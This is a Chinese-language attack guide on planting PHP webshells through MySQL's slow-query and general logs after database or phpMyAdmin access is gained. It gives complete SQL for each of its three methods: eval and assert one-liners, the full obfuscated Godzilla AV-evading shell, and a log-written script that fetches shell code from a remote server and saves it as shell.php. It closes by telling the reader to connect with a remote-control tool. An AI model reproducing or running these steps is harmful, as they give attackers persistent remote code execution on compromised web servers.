前提
拿到數據庫權限,可以執行sql語句,或者進入到phpmyadmin界面,或pmd界面
phpstudy 對應phpmyadmin界面 phpmyadmin.php
upupw 對應pmd界面 u.php
流程
使用show variables like '%log%'及show variables like '%secure%'查看相應的日志模塊和安全防御模塊的開啟情況,並且了解網站目錄的相應的路徑情況。
方法一:
使用慢查詢日志,寫入shell
執行下面3步sql語句:
set global slow_query_log=1;//開啟慢查詢日志,可以繞過secure_priv的限制,而非直接select info outfile set global slow_query_log_file='D:\WWW\log.php';//更改日志存放位置,並且將后綴名改成可執行的php文件,需要根據實際情況來確定WWW的位置 select "<?php @eval($_POST['cmd'])?>" or sleep(11);//執行select語句,在日志中存入一句話木馬,並且sleep11s,以便存入慢查詢日志中去。
方法二:
使用general_log,寫入shell
執行下面3步sql語句:
set global general_log='on'; SET global general_log_file='D:/xxxx/WWW/cmd.php'; SELECT '<?php assert($_POST["cmd"]);?>';
注:shell的格式可以自行選取,可以使用具有免殺效果的shell,比如哥斯拉的shell,可在哥斯拉處直接生成相應的shell:
<?php session_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$i<strlen($D);$i++) { $D[$i] = $D[$i]^$K[$i+1&15]; } return $D; } function Q($D){ return base64_encode($D); } function O($D){ return base64_decode($D); } $P='pass'; $V='payload'; $T='3c6e0b8a9c15224a'; if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V]; $A=explode('|',$L); class C{public function nvoke($p) {eval($p."");}} $R=new C(); $R->nvoke($A[0]); echo substr(md5($P.$T),0,16); echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16); }else{ $_SESSION[$V]=$F; } }
方法三:
向日志中,寫入JavaScript腳本,下載遠端服務器的shell文件到本地,並本地創建shell.php文件
執行下面sql語句:
SET global general_log_file='C:/xxx/xxx/shell.php'; SELECT '<script language="php"> $a="http://x.x.x.x/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
最后記得訪問一下相應的11.php,生成shell.php文件
最后
使用相應的遠控工具連接,即可!